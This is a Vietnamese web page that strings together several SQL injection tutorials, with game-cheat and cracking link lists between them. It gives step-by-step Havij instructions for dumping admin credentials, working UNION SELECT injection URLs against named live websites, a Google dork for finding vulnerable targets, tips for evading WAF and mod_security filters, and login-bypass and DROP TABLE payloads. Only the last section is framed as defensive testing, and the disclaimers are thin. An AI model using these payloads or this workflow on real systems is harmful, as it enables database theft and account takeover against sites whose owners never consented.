Hack Trang Web Bằng Cách Sử Dụng Havij Sql Injection

--- Bài mới hơn ---

  • Bài 1 Hướng Dẫn Hack Website Bằng Lỗi Sql
  • Bloody Z: Zombie Strike Hack, Cheats, Tips & Guide
  • Top 2 Phần Mềm Hack Kim Cương Free Fire Miễn Phí
  • Hack Free Fire Không Bị Khóa Nick: Tải Hack Kim Cương
  • Download Among Us Online Multiplayer V2021.2.21 Full Cho Pc
  • Website Hacking: Làm thế nào để Hack trang web bằng cách sử dụng Havij SQL Injection

    Đã tôi đã viết rất nhiều bài viết trên trang web hacking trong đó tôi đã giải thích làm thế nào để tìm thấy trang web sql dễ bị tổn thương và làm thế nào để hack rằng cơ sở dữ liệu trang web vv, vào ngày hôm nay trong bài viết này tôi sẽ viết trên nhiều trang web hack hướng dẫn sử dụng Havij SQL Injection. Sử dụng Havij SQL Injection, bạn có thể dễ dàng hack trang web tên người dùng và mật khẩu.

    Havji là một công cụ tiêm SQL. Nhưng có thêm kỹ năng tuyệt vời như tìm bảng quản trị, nứt băm. Bạn có thể sử dụng nó thay vì cách thông thường của SQL injection. Nó đặc biệt là cho người mới bắt đầu một chương trình uselful.

    Bằng cách sử dụng công cụ Havij SQL Injection bạn sẽ nhận được dưới thông tin của trang web,

    Đừng quên để đăng ký với nguồn cấp dữ liệu RSS của chúng tôi

    Các bước để Hack trang web bằng cách sử dụng Havij SQL Injection

    Bước 2: Chạy phần mềm Havij SQL Injection và sao chép và dán liên kết trang web dễ bị tổn thương như minh hoạ trong hình,

    Tham khảo các bài viết trước đây của trang web hack để tìm trang web dễ bị tổn thương.

    Bước 4: Sau đó, nó cho thấy một số thông điệp đó. Là cảnh báo về nó và phải hiển thị kiên nhẫn cho đôi khi tìm thấy nó vulernable và loại tiêm và nếu máy chủ db mysql và nó sẽ tìm thấy cơ sở dữ liệu tên. Sau đó sau khi nhận được cơ sở dữ liệu của nó là tên như xxxx_xxxx

    Bước 5: Sau đó di chuyển đến một chiến dịch để tìm bảng bằng cách nhấp vào “bảng” như hình hiển thị. Bây giờ bấm “Nhận được bảng” sau đó chờ đợi một thời gian nếu cần thiết

    Bước 6: Sau khi được thành lập các bảng, bạn có thể thấy sẽ có “người dùng” đặt đánh dấu vào nó và nhấp chuột vào “nhận được cột” tab như minh hoạ trong hình

    Bước 7: Trong đó chỉ cần đặt đánh dấu tên người dùng và mật khẩu và nhấp vào “Nhận được dữ liệu”

    Cuối cùng, bạn có bây giờ tên người dùng và mật khẩu của admin…

    Đèo sẽ nhận được là md5, bạn có thể crack nó cũng sử dụng công cụ này như minh hoạ trong hình.

    --- Bài cũ hơn ---

  • Tải Game Sky Force 2014 V1.34 Hack Full Sao (Unlimited Stars) Và Unlocked Cho Android
  • Hướng Dẫn Tải Pubg Mobile Pc Vn Bằng Tencent Gaming Buddy Tiếng Việt
  • Hướng Dẫn Tải Ứng Dụng Hack Kim Cương Free Fire 2022 Cực Kì Đơn Giản.
  • Hướng Dẫn Bắt Gói Tin Và Phá Dò Tìm Mật Khẩu Wifi Wpa/wpa2
  • Hướng Dẫn Cách Hack Pass Wifi
  • Hack Web Bị Lỗi Sql Injection Cơ Bản

    --- Bài mới hơn ---

  • Hack Subway Surfers V2.16.0 Full Tiền, Chìa Khóa, Shop
  • Tải Subway Surfers Mod Apk (Full Tiền Vàng, Chìa Khóa) V2.15.0
  • Tải Hack Subway Surfers (Mod Nhân Vật, Tiền Xu/keys) Miễn Phí
  • Tải Hack Summoner War (Mod One Hit, Speed, High Damage)
  • Hack Game Summoners War Trên Ios
  • Lưu ý: bài viết chỉ mang tính chất phục vụ cho học tập, tìm hiểu cách thức hoạt động để phòng tránh tốt hơn cho đồ án của bạn, mọi hành vi của các bạn chúng tôi sẽ không chịu trách nhiệm!

    Bài viết thực hiện dựa trên trình duyệt Firefox

    I. LÝ THUYẾT (để thao tác thành công, các bạn nên đọc kỹ phần thực hành)

    Thêm vào cuối liên kết trên một trong các meta character đã nói ở trên, chẳng hạn ta thêm vào dấu nháy đơn: http://zerocoolhf.altervista.org/level1.php?id=1'

    Thông báo lỗi từ mysql xuất hiện, như vậy trang web này đã bị dính lỗi SQL injection.

    2. Xác định số lượng cột trong mệnh đề select

    Union là từ khóa dùng để gộp kết quả của nhiều mệnh đề select do đó trong mỗi mệnh đề select đòi hỏi số lượng các trường đều phải bằng nhau và đều bằng số lượng các trường được select trong mệnh đề select ban đầu. Chúng ta sẽ sử dụng điều này để xác định số lượng cột của cở sở dữ liệu.

    Cụ thể, chúng ta sẽ thực hiện thử dần bằng cách tăng dần số lượng cột trong mệnh đề select sau union (bắt đầu từ 1). Khi nào không thấy thông báo lỗi xuất hiện thì đó chính là số lượng cột cần tìm.

    Một cách nhanh hơn là sử dụng ‘order by’. Từ khóa ‘order by’ được dùng để sắp xếp thứ tự cho các bản ghi thu được trong mệnh để select. Sau order by có thể là tên một cột để xác định rằng kết quả thu về sẽ được sắp xếp theo giá trị của cột đó (tăng dần hoặc giảm dần). Sau ‘order by’ cũng có thể là số thứ tự vị trí của cột đó. Nếu giá trị sau order lớn hơn số cột được select thì chúng ta sẽ thấy thông báo lỗi.

    Quay trở lại ví dụ:

    http://zerocoolhf.altervista.org/level1.php?id=1 order by 1-- - http://zerocoolhf.altervista.org/level1.php?id=1 order by 2-- - http://zerocoolhf.altervista.org/level1.php?id=1 order by 3-- - http://zerocoolhf.altervista.org/level1.php?id=1 order by 4-- -

    Thông báo lỗi xuất hiện. Như vậy, ta xác định được số cột là 3.

    3. Xác định thông tin

    Để biết được tên bảng, tên cột, ta sử dụng đối tượng information_schema. Đối tượng này cung cấp các thông tin về tables, columns, views và procedures… của cơ sở dữ liệu.

    Tiếp tục với ví dụ:

    http://zerocoolhf.altervista.org/level1.php?id=-1 union select 1,2,3-- -

    Lỗi trả về cho ta thấy có vẻ như ‘unio’ đã bị xóa mất. Thử lại với:

    http://zerocoolhf.altervista.org/level1.php?id=-1 uniounion select 1,2,3-- -

    Thành công. Ta sẽ thấy cột số 2 và 3 bị lỗi. Lấy phiên bản của hệ quản trị cơ sở dữ liệu và tên cơ sở dữ liệu:

    http://zerocoolhf.altervista.org/level1.php?id=-1 uniounion select 1,version(),database()-- -

    Như vậy tên cơ sở dữ liệu là my_zerocoolhf và phiên bản của hệ quản trị cơ sở dữ liệu là MySQL 5.1.71-community-log. Tiếp tục, lấy tên các bảng trong cơ sở dữ liệu:

    http://zerocoolhf.altervista.org/level1.php?id=-1 uniounion

    select all 1,group_concat(table_name),3 from information_schema.tables

    where table_schema=database()-- -

    Cơ sở dữ liệu có 2 bảng là auth và book. Chúng ta sẽ thử lấy nội dung các bản ghi trong bảng book. Trước hết xác định các trường của bảng book. Thực hiện:

    http://zerocoolhf.altervista.org/level1.php?id=-1 uniounion

    select all 1,group_concat(column_name),3 from information_schema.columns

    where table_name=0x626f6f6b-- -

    (0x626f6f6b là mã hex của tên bảng book, tương tự nếu muốn lấy tên các trường của bảng auth thì chỉ cần thay mã hex của auth vào vị trí của 0x626f6f6b)

    Tên các trường: id, title, price, author. Bây giờ ta sẽ lấy nội dung các bản ghi trong cơ sở dữ liệu:

    http://zerocoolhf.altervista.org/level1.php?id=-1 uniounion

    select all 1,group_concat(id,0x3a,title,0x3a,price,0x3a,author),3 from

    book-- -

    (group_concat để nối nhiều giá trị với nhau. 0x3a là dấu “:”, để ngăn cách cho dễ nhìn)

    Như vậy, ta có thể lấy được toàn bộ cơ sở dữ liệu của site bị lỗi SQL injection.

    II. THỰC HÀNH

    2. 1 cái đầu và những ngón tay =]]z~

    Bây Giờ Tiến Hành Với Victim Nhé !

    Victim : http://pscells.com ( Hoặc Có Thế Lên Google Gõ “inurl:index.php?id=” Để Dork tìm Site Bị Lỗi SQL )

    Đi 1 Vòng Site Tìm Link Có Dạng ?id=

    Chẳng hạn như link này : http://pscells.com/chitietsanpham.php?id=40

    Tiếp Theo Kiểm Tra Lỗi Bằng Cách Thêm Dấu ‘ Vào Và Ta Đc Link Như Thế Này :

    http://pscells.com/chitietsanpham.php?id=40 ‘

    Nếu Site Có Lỗi Thì Nó Sẽ Hiện Như Thế này :

    Vậy : 5 < x < 10

    Bây h Dùng Lệnh UNION SELECT để khai thác nó

    Vậy ta sẽ dùng lệnh UNION SELECT với số cột là 8

    Ta Sẽ Có Link :

    http://pscells.com/chitietsanpham.php?id=40 UNION SELECT 1,2,3,4,5,6,7,8 – –

    Thay Null Vào ?id=40 Có Nghĩa Là Link Sẽ Thành :

    http://pscells.com/chitietsanpham.php?id= null UNION SELECT 1,2,3,4,5,6,7,8 – –

    Vậy Cột 6 Bị Lỗi Nhé

    Bây giờ ta khai thác với lệnh như sau:

    http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,group_concat(table_name),7,8 from information_schema.tables where table_schema=database() – –

    ( Thay Thế group_concat(table_name) vào số cột bị lỗi mà ta đã tìm hồi nãy ( cột 6 ) , Thêm from information_schema.tables where table_schema=database() Để Tìm Ra Các Table Có Trong Database )

    Và Sau Đó Ta Đc Các Table Của Database Như Hình :

    http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,group_concat(table_name),7,8 from information_schema.tables where table_schema=database() – –

    Thành

    http://pscells.com/chitietsanpham. php?id=null UNION SELECT 1,2,3,4,5,group_concat(column_name),7,8 from information_schema.columns where table_name=0x7461696b686f616e – –

    Ta sẽ được:

    Đổi link ỡ 1 số chỗ :

    http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,group_concat(id,0x207c20,name,0x207c20,pass,0x207c20),7,8 from taikhoan – –

    Xóa Hết Phần Sau Chừa Lại from Và Thêm Tên Table Mà Hồi Nãy Mình Khai Thác Như : taikhoan

    Và Ta Sẽ Đc Như Hình :

    ID: Admin

    Pass : @#[email protected]#

    Số 1 Là Số User troq site ^^

    Thế là xong ! Tìm link admin và đăng nhập vào thôi ^_^ ^_^!!

    --- Bài cũ hơn ---

  • Hướng Dẫn Khai Thác Sql Injection Đối Với My Sql
  • Tải Xuống Road Riot 1.29.35 Apk Mod Money Cho Android 2022 1.29.35 Cho Android
  • Tải Mega Man X4 Full Crack Việt Hóa + Hướng Dẫn Cài Đặt
  • Megaman X4 Cheat Với Cheat Engine
  • Cách Hack Slot Game Cực Nhanh Cực Dễ Từ Cao Thủ Kubet Link
  • Sql Injection Tutorials (Hướng Dẫn Đầy Đủ Về Sql Injection)

    --- Bài mới hơn ---

  • Tải Game Summoners’ War: Sky Arena Hack Full Miễn Phí
  • Cách Làm Cho Wii U Trở Nên Hữu Ích Với Homebrew
  • Lệnh, Mã Game Cướp Đường Phố Gta Vice City Tổng Hợp
  • Hướng Dẫn Cách Tải Hack My Talking Angela Dành Cho Android
  • Hướng Dẫn Học Đàn Piano Cơ Bản
  • 1. Khái niệm: SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay, theo thống kê thì khoảng 75% hacker sử dụng kĩ thuật này để chiếm quyền điều khiển của hệ thống. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, Firefox,…

    2.Kiến thức cần biết:

    -dấu nháy đơn (‘): dấu này trong ngôn ngữ SQL dùng để “gói” chuỗi. Ta thường thêm nó vào sau tham số kiểu số trên chuỗi truy vấn để kiểm tra có lỗi hay không. Nguyên nhân là do không kiểm tra kiểu dữ liệu.

    – dấu thăng (#) và dấu (): các dấu này để đánh dấu chú thích, nghĩa là những kí tự đứng sau một trong hai dấu này trên cùng một dòng sẽ được xem là chú thích được bỏ qua khi thực hiện truy vấn.

    – dấu ( ; ): dùng để kết thúc một truy vấn và tất nhiên sau nó là bắt đầu một truy vấn khác. Đôi khi ta dùng union để nối hai câu truy vấn.

    kiến thức database (CSDL) và ngôn ngữ thiết kế website (PHP, ASP).

    MsAccess: thường dành cho các website tin tức quy mô nhỏ, sử dụng ngôn ngữ ASP để thiết kế.

    MSSQL: dùng cho website có quy mô lớn, sử dụng ngôn ngữ ASP, ASPX (ASP.Net) để thiết kế.

    MySQL: tất cả các website có thể dùng, sử dụng ngôn ngữ PHP để thiết kế (MySQL và PHP là 2 anh em song sinh , chúng luôn đi kèm với nhau ).

    Oracle: tương tự như MySQL Db2: dùng cho các hệ thông website ngân hàng các hệ thống cần chế độ bảo mật rất cao!

    a) Bạn có thể search các trang web cho phép submit data ở bất kì một search-engine nào trên mạng, chẳng hạn như các trang login, search, feedback hoặc qua cách truyền tham số (Dork) VD: chitiet.php?id=21 , detail.asp?id=6,…

    b) Khi tìm kiếm được mục tiêu cần tấn công chúng ta cần phải xác định được hệ quản trị CSDL của website đó ( đây là bước quan trọng) bằng cách nhìn tổng thẻ website, ngôn ngữ thiết kế, OS của server qua quá trình thăm dò. Ở đây tôi xin thống kê các database thường gặp đi cùng với ngôn ngữ thiết kế website.

    c) khi xác định được mục tiêu thì các bạn cần kiểm tra các lỗi xem có khả năng tấn công dựa vào nó được không. Các kĩ thuật khai thác lỗi như sau:

    · -Với các tham số được truyền vào VD: index.php?id=21 , index.asp?id=6,.. thì chúng ta chỉ cần thêm các kí tự dấu nháy đơn (‘), dấu nháy kép (“), phần trăm 27 (%27), 00 phần trăm (00%) vào sau id để kiểm tra nếu nó hiện ra lỗi hoặc không hiện ra 1 cái gì (khác hoàn toàn với lúc ban đầu thì 90% bạn có khả năng khai thác được lỗi này – Sẽ trình bày rõ ở phần sau).

    -Với các ô submit thông tin như tìm kiếm, login, contact, request,.. các bạn cũng làm tương tự.

    Ví Dụ:

    http://ww.site.com/index.php?id=1 (giả sử đây là site bị lỗi SQL injection)

    cú pháp

    http://ww.site.com/index.php?id=1 and 1=1 không lỗi

    Order By:

    Order by được sử dụng để làm gì :

    -Làm tiết kiệm thời gian attack.

    -Nó được sử dụng để tính số field ,column có trong CSDL SQL.

    Cú pháp: order by xx (với xx là số nguyên, để hiệu quả nên order by 100 đầu tiên để xác định ta đi đúng hướng)

    VD: http://ww.site.com/index.php?id=1 order by 100

    Lỗi nhận biết

    site có hiện tượng khác lạ (dựa vào kinh nghiệm)

    Nhưng cũng có site lại phải thêm dấu nháy và dấu – hoặc – – hoặc – a hoặc /* mới order by được

    – : Hiểu đơn giản là tránh bị ghi log

    – : Biến đoạn đằng sau dấu – thành chú thích.

    Ví Dụ:

    Sau khi xác định site sqli + check sqli +hệ quản trị SCDL là gì (phổ biến MsAccess,MSSQL,MySQL, Oracle), thì chúng ta bắt tay vào công việc khai thác chúng. (Mỗi hệ quản trị CSDL khác nhau thì có cách khai thác gần như là khác nhau).Các bạn phải lắm rõ vần đề tưrên để sau này dễ dàng cho việc khai thác lỗi. Cách khai thác lỗi của từng ứng dụng sử dụng CSDL trên sẽ đợc trình bày ở dưới: (tuy nhên theo kinh các newbie cố găng tập trung MýQJ vì nó là phổ biến)

    Lỗi trả về thường xuất hiện các dấu hiệu sau:

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘” at line 1

    Riêng bọn này các bạn cần chú ý việc đầu tiên ta khai tác là kiếm version (phiên bản) của nó hiện tại.

    Kĩ thuật khai thác bọn này được thực hiền lần lượt như sau:

    Đầu tiên ta tiến hành xác định số cột trong table hiện tại bằng cách sử dụng Order by n (VD: 6)

    Tiếp theo ta sử dụng UNION SELECT

    ;

    hoặc

    $id = (int)$_GET[‘id’];

    Giải thích về vá lỗi :

    3 cách đầu: Nếu nhập vào abc’ đi , thì nó sẽ hiểu là một chuỗi chứ không phải là abc rồi dấu ‘ riêng

    Cách thứ 4: là nếu nhập chuỗi thì nó ép thành số tương ứng, mà số thì . . .

    Hướng dẫn Bypass 1 số lỗi thường gặp:

    Loại 403,406:

    hi ta order by thành công , nhưng union select lại xuất hiện những dòng thông báo sau:

    406 Not Acceptable

    This request is not acceptable Powered By LiteSpeed Web Server

    LiteSpeed Technologies is not responsible for administration and contents of this web site!

    You don’t have permission to access chúng tôi on this server. Apache mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at

    Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

    http://www.vinaplast.com.vn Port 80

    Not Acceptable

    An appropriate repsentation of the requested resource chúng tôi could not be found on this server.

    Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

    Cách 4: là khi xuất hiện khoảng trắng nó sẽ báo lỗi, ta thay khoảng trắng bằng dấu +, và 1 số trường hợp ta thay bằng : %0A,%0B,%0C,%0D,%09,%20…

    Cách 5 : Kết hợp 4 cách trên lại với nhau

    Cách 6: tự chế

    Mẹo vặt để tìm ra từ khóa bị MOD_security:

    Khi bypass union select thành công thì tới đoạn get table_name. Đoạn get table_name chắc chắn các bạn sẽ gặp trở ngại vì nó tiếp tục thông báo lỗi, do đó cách thức vựot qua cái này như sau :

    Vi dụ site.com?tghmmd=1 order by 7- – là ok. Và Union select ta đã bypass và cho ra số 3

    Quote:

    union select 1,2,3,4,5,6,7 from information_schema.tables- –

    Nguồn: MMD,H.V.H

    --- Bài cũ hơn ---

  • Tìm Hiểu Về Sql Injection Và Cách Phòng Chống
  • Game Road Riot Hack Full Tiền Cho Android
  • Tải Game Dungeon Quest V3.0.4.2 Hack Full Miễn Phí
  • Hoàn Chỉnh Pokemon Emerald Cho Anh Em Lười
  • Cách Xem Mật Khẩu Facebook, Lấy Password Facebook Người Khác
  • Hướng Dẫn Test Sql Injection (Ví Dụ Và Cách Phòng Ngừa Các Cuộc Tấn Công Sql Injection)

    --- Bài mới hơn ---

  • Sql Injection Tutorial: Learn With Example
  • Tải Subway Surfers Mod Apk V2.3.0 (Hack Vàng, Chìa Khóa) Cho Android
  • Download, Tải Game Gta 4 Full Crack
  • Tải Gta 4 Full Crack
  • Hack Rp, Trang Phục, Sò, Trong Liên Minh Huyền Thoại ( Lmht )
  • Ở bài post này, mình xin giới thiệu với các bạn các ví dụ về SQL Injection và các cách phòng tránh các cuộc tấn công SQL Injection khi test Web.

    Trong khi test một website hoặc một hệ thống, mục đích của Tester là đảm bảo sản phẩm được bảo vệ càng nhiều càng tốt.

    Security Testing thường được thực hiện cho mục đích này. Để thực hiện loại thử nghiệm này, đầu tiên, chúng ta cần xem xét, những cuộc tấn công nào có khả năng xảy ra nhất. Và SQL Injection là một trong các loại tấn công đó.

    SQL Injection là một trong những loại tấn công phổ biến nhất khi nó có thể mang lại nguy hiểm và gây hại cho hệ thống của bạn cũng như những dữ liệu nhạy cảm.

    SQL Injection là gì?

    Một vài user truyền vào các câu lệnh SQL được thực hiện trên database. Nó khiến cho ứng dụng không thể xử lý dữ liệu do người dùng cung cấp không đúng cách.

    Trong trường hợp này, một user độc hại có thể cung cấp những đầu vào không mong muốn cho ứng dụng, sau đó dùng để đóng khung và thực hiện các câu lệnh SQL trên database. Nó gọi là SQL Injection. Hậu quả của một hành động như vậy có thể đáng báo động.

    Như tên của nó, mục đích của cuộc tấn công SQL Injection là tiêm những code SQL độc hại.

    Mỗi một trường của website là một cánh cổng dẫn đến database. Trong form login, người dùng nhập các dữ liệu login. Trong trường search, người dùng nhập các từ search. Trong form lưu dữ liệu, người dùng nhập các dữ liệu có thể lưu trữ. Tất cả các dữ liệu được chỉ ra đều có thể dẫn đến database.

    Thay vì nhập các dữ liệu đúng, bất kỳ một code độc hại nào được nhập vào, đều có thể dẫn đến một số thiệt hại nghiêm trọng cho database và cho cả hệ thống.

    SQL Injection được thực hiện với ngôn ngữ lập trình SQL. SQL (Structured Query Language – ngôn ngữ truy vấn cấu trúc) được sử dụng để quản lý các dữ liệu được tổ chức trong database. Do đó mã ngôn ngữ lập trình này đang được sử dụng như một mũi tiêm độc hại.

    Đây là một trong các cuộc tấn công phổ biến, vì database được sử dụng cho hầu hết tất cả các công nghệ.

    Nhiều ứng dụng sử dụng một vài loại database. Một ứng dụng đang được test có thể có giao diện người dùng chấp nhận đầu vào của người dùng để thực hiện các task sau:

    1. Lưu trữ các dữ liệu được nhập bởi user vào database. Ví dụ: Mỗi khi user nhập dữ liệu vào form và submit, ứng dụng xử lý lưu dữ liệu vào database. Dữ liệu này sau đó sẽ được cung cấp cho user trong cùng một phiên hoặc các phiên tiếp theo.

    Rủi ro của SQL Injection

    Ngày nay, database được sử dụng cho gần như tất cả các hệ thống và website, vì dữ liệu nên được lưu trữ ở nhiều nơi.

    Khi dữ liệu nhạy cảm được lưu trữ trong database, có nhiều rủi ro hơn trong bảo mật hệ thống. Nếu bất kỳ dữ liệu website hoặc blog cá nhân bị đánh cắp, thì sẽ không gây thiệt hại nhiều như dữ liệu ngân hàng bị đánh cắp.

    Mục đích chính của cuộc tấn công này là hack database của hệ thống, do đó hậu quả của nó thật sự nguy hại.

    Những điều sau đây có thể là kết quả của SQL Injection:

    • Hack tài khoản của người khác
    • Ăn cắp và copy dữ liệu nhạy cảm của hệ thống
    • Thay đổi các dữ liệu nhạy cảm của hệ thống
    • Xóa dữ liệu nhạy cảm của hệ thống
    • Hacker có thể login vào ứng dụng như user khác, thậm chí là admin
    • Hacker có thể xem thông tin cá nhân của user khác. Ví dụ: thông tin chi tiết profile, chi tiết giao dịch,…
    • Hacker có thể thay đổi thông tin cấu hình của ứng dụng và dữ liệu của các user khác
    • Hacker có thể sửa cấu trúc database, thậm chí delete bảng trong database
    • Hacker có thể điều khiển server database và thực hiện câu lệnh trên nó.

    Những rủi ro đã liệt kê bên trên có thể thực sự nguy hiểm, vì để restore một database hoặc dữ liệu của nó mất rất nhiều chi phí. Nó có thể làm mất danh tiếng và tiền bạc của công ty bạn để khôi phục dữ liệu và hệ thống bị mất. Vì vậy, cần phải quan tâm cao đến việc bảo vệ hệ thống khỏi các cuộc tấn công, và Security testing là giải pháp tốt cho uy tín sản phẩm và công ty bạn.

    Bản chất của cuộc tấn công này

    Như đã đề cập phía trên, bản chất của cuộc tấn công này là hack database với mục đích độc hại.

    Để thực hiện Security Testing, ban đầu, bạn cần tìm những lỗ hổng của hệ thống và sau đó thông qua chúng gửi những mã SQL độc hại đến database. Nếu có thể thực hiện được, thì những mã SQL độc hại này sẽ được gửi và các hành động gây hại sẽ có thể thực hiện trong database.

    Mỗi một trường của một website tương tự như một cánh cổng dẫn vào database. Bất kỳ dữ liệu hoặc đầu vào mà chúng ta thường nhập vào bất kỳ trường nào của hệ thống hoặc trang web đều đi đến database. Do đó, thay vì nhập dữ liệu đúng, nếu chũng ta nhập bất kỳ mã code độc hại nào, nó đều có thể thực hiện câu lệnh truy vấn database và mang lại hậu quả nghiêm trọng.

    Tool được đề xuất

    ### 1. Kiuwan

    Dễ dàng tìm kiếm và fix các lỗ hổng như SQL Injection trong code của bạn ở mỗi giai đoạn của SDLC (Software Development Life Cycle – Vòng đời phát triển phần mềm). Kiuwan tuân thủ các tiêu chuẩn bảo mật nghiêm ngặt nhất, bao gồm OWASP, CWE, SANS 25, HIPPA, ….

    Tích hợp Kiuwan vào trong IDE để cho phản hồi tức thì trong khi phát triển. Kiuwan hỗ trợ tất ả các ngôn ngữ lập trình chính và tích hợp với các công cụ DevOps hàng đầu.

    Để thực hiện cuộc tấn công này, chúng ta phải thay đổi hành động và mục đích của các truy vấn database thích hợp. Một trong các phương thức có thể để thực hiện là làm cho các truy vấn luôn đúng, rồi sau đó chèn vào các mã độc hại. Thay đổi truy vấn database thành luôn đúng có thể được thực hiện với mã code đơn giản như , thì chúng ta cũng nên thử với mã double , sau đó câu truy vấn sẽ trở thành luôn đúng.

    select from notes nt where nt.subject = ‘ ‘ or 1=1;-

    Trong trường hợp này, parameter “subject” bị đóng lại với trích dẫn và sau đó chúng ta có code vào trường kiểm tra. Nếu nó trả ra bất kỳ thông báo không mong muốn hoặc bất thường nào, chúng ta có thể chắc chắn rằng SQL Injection có thể thực hiện với trường đó.

    Ví dụ: Nếu hiển thị message “Internal Server Error” như một kết quả tìm kiếm, chúng ta có thể chắc chắn rằng có thể tấn công vào phần này của hệ thống.

    Một số kết quả khác cho biết có thể thực hiện cuộc tấn công SQL Injection:

    • Hiển thị page trắng
    • Không có message lỗi hay thành công – chức năng và page không phản ứng với đầu vào
    • Message thành công cho mã độc hại

    Ví dụ: Cùng test xem cửa sổ login có phải là lỗ hổng của SQL Injection không.

    Để thực hiện mục đích này, trong trường email và password, chúng ta nhập như sau:

    Nếu kết quả trả ra là message lỗi ‘Internal Server Error’ hoặc bất kỳ kết quả không phù hợp được liệt kê khác, chúng ta có thể chắc chắn rằng, có thể tấn công vào trường đó.

    Do đó, check SQL Injection với trích dẫn single bằng có thể được sử dụng.

    Là một tester có kinh nghiệm, tôi muốn nhắc nhở rằng không chỉ có thông báo lỗi không mong muốn có thể được coi là lỗ hổng SQL Injection. Nhiều tester kiểm tra các cuộc tấn công có thể chỉ theo thông báo lỗi.

    Tuy nhiên, nên ghi nhớ rằng không có thông báo lỗi xác thực hoặc thông báo thành công cho mã độc cũng có thể là một dấu hiệu, rằng cuộc tấn công này là có thể.

    Security Testing Web Application chống lại SQL Injection

    Security Testing một ứng dụng web được giải thích với ví dụ đơn giản sau:

    Vì hậu quả của việc cho phép kỹ thuật lỗ hổng này có thể nghiêm trọng, cuộc tấn công này nên được thực hiện trong suốt quá trình test bảo mật của ứng dụng. Bây giờ với một cái nhìn tổng quan về kỹ thuật này, chúng ta hãy hiểu một vài ví dụ thực tế về SQL Injection.

    SELECT * FROM Users WHERE UserName = ‘” & strUserName & “‘ AND Password = ‘” & strPassword & “‘;”

    Nếu tester muốn nhập “John” là strUsername (trong textbox username) và “Smith” là strPassword (trong textbox Password), câu lệnh bên trên sẽ trở thành:

    SELECT FROM Users WHERE UserName = ‘John’ AND Password = ‘Smith’;

    Nếu tester muốn nhập “John” là strUsername (trong textbox username) và không có strPassword, câu lệnh bên trên sẽ trở thành:

    SELECT FROM Users WHERE UserName = ‘John’— AND Password = ‘Smith’;

    Lưu ý rằng 1 phần câu lệnh SQL sau John chuyển thành một nhận xét. Nếu có bất kỳ user nào có username là John trong bảng Users, ứng dụng có thể cho phép tester login như user John. Tester có thể xem thông tin chi tiết của John.

    Nếu tester hông biết tên của bất kỳ user nào trong ứng dụng thì làm gì? Trong trường hợp này, tester có thể thử với những username chung như admin, administrator, và sysadmin. Nếu không có user nào tồn tại trong database, tester có thể nhập như strPassword. Câu lệnh SQL sẽ trở thành như sau:

    SELECT FROM Users WHERE UserName = ‘John’ or ‘x’=’x’ AND Password = ‘Smith’ or ‘x’=’x’;

    Vì điều kiện ‘x’=’x’ luôn đúng, nên kết quả sẽ trả về toàn bộ các row của bảng Users. Từ đó, tester có thể login như người dùng đầu tiên trong bảng Users.

    Quan trọng: Tester cần yêu cầu quản trị database hoặc developer copy bảng trong câu hỏi trước khi thử các cuộc tấn công sau.

    Nếu tester nhập [John’; DROP table users_details;’-] như strUsername và bất kỳ cái gì làm strPassword, câu lệnh SQL sẽ trở thành như sau:

    SELECT FROM Users WHERE UserName = ‘John’; DROP table usersdetails;’ -‘ AND Password = ‘Smith’;

    Câu lệnh này có thể khiến cho bảng “users_details” bị xóa vĩnh viễn khỏi database.

    Các ví dụ trên sử dụng kỹ thuật SQL Injection chỉ với trang login, tester nên sử dụng kỹ thuật test này cho tất cả các page khác của ứng dụng như: search, feedback, …

    SQL injection có thể dùng với ứng dụng sử dụng SSL. Thậm chí tường lửa cũng có thể không có khả năng bảo vệ ứng dụng chống lại kỹ thuật này.

    Tôi muốn nhắc nhở một lần nữa rằng kỹ thuật tấn công này chỉ test trên môi trường test, không dùng trong môi trường development, production hay bất kỳ một môi trường nào khác.

    Các phần dễ bị tấn công khi thực hiện cuộc tấn công này

    Trước khi thực hiện quy trình test, mỗi tester nên ít nhiều biết những phần nào dễ bị tấn công nhất đối với cuộc tấn công này.

    Nó cũng là cách tốt để lên kế hoạch test những trường nào của hệ thống một cách chính xác và theo thứ tự nào. Tôi đã học được, không nên kiểm tra ngẫu nhiên một số trường để chống lại các cuộc tấn công SQL vì một số trường có thể bị bỏ sót. Vì cuộc tấn công được thực hiện trong database, nên tất cả các phần hệ thống nhập liệu, các trường input, và đường dẫn website đều có thể bị tấn công.

    Các phần dễ bị tấn công bao gồm:

    • Các trường login
    • Các trường tìm kiếm
    • Bất kỳ trường nhập liệu và lưu trữ khác
    • Website link

    Quan trọng cần ghi nhớ rằng trong khi test chống lại cuộc tấn công này, không thể chỉ check một hoặc vài trường. Thông thường, một vài trường được bảo vệ khỏi tấn công SQL injection, nhưng các trường khác lại không được bảo vệ. Do đó, không được quên việc test toàn bộ các trường của website.

    Test tự động SQL Injection

    Vì một số hệ thống hoặc website được test khá phức tạp và có chứa dữ liệu nhạy cảm, nên test thủ công có thể khó khăn và mất nhiều thời gian. Do đó, test để phòng tránh cuộc tấn công SQL Injection bằng các tool đặc biệt có thể thực sự hữu ích.

    Một trong các tool SQL Injection là SOAP UI. Nếu bạn thực hiện test hồi quy tự động ở mức độ API, bạn cũng có thể sử dụng tool này để chống lại cuộc tấn công SQL. Trong tool SOAP UI, có sẵn các template có thể sử dụng để test chống lại cuộc tấn công này. Các template đó cũng có thể được bổ sung bằng code của bạn.

    Đây là một tool khá tin cậy.

    Tuy nhiên, test tự động ở mức độ API là không dễ dàng. Do đó, có một cách khác đó là sử dụng các plugin trình duyệt khác nhau để test tự động.

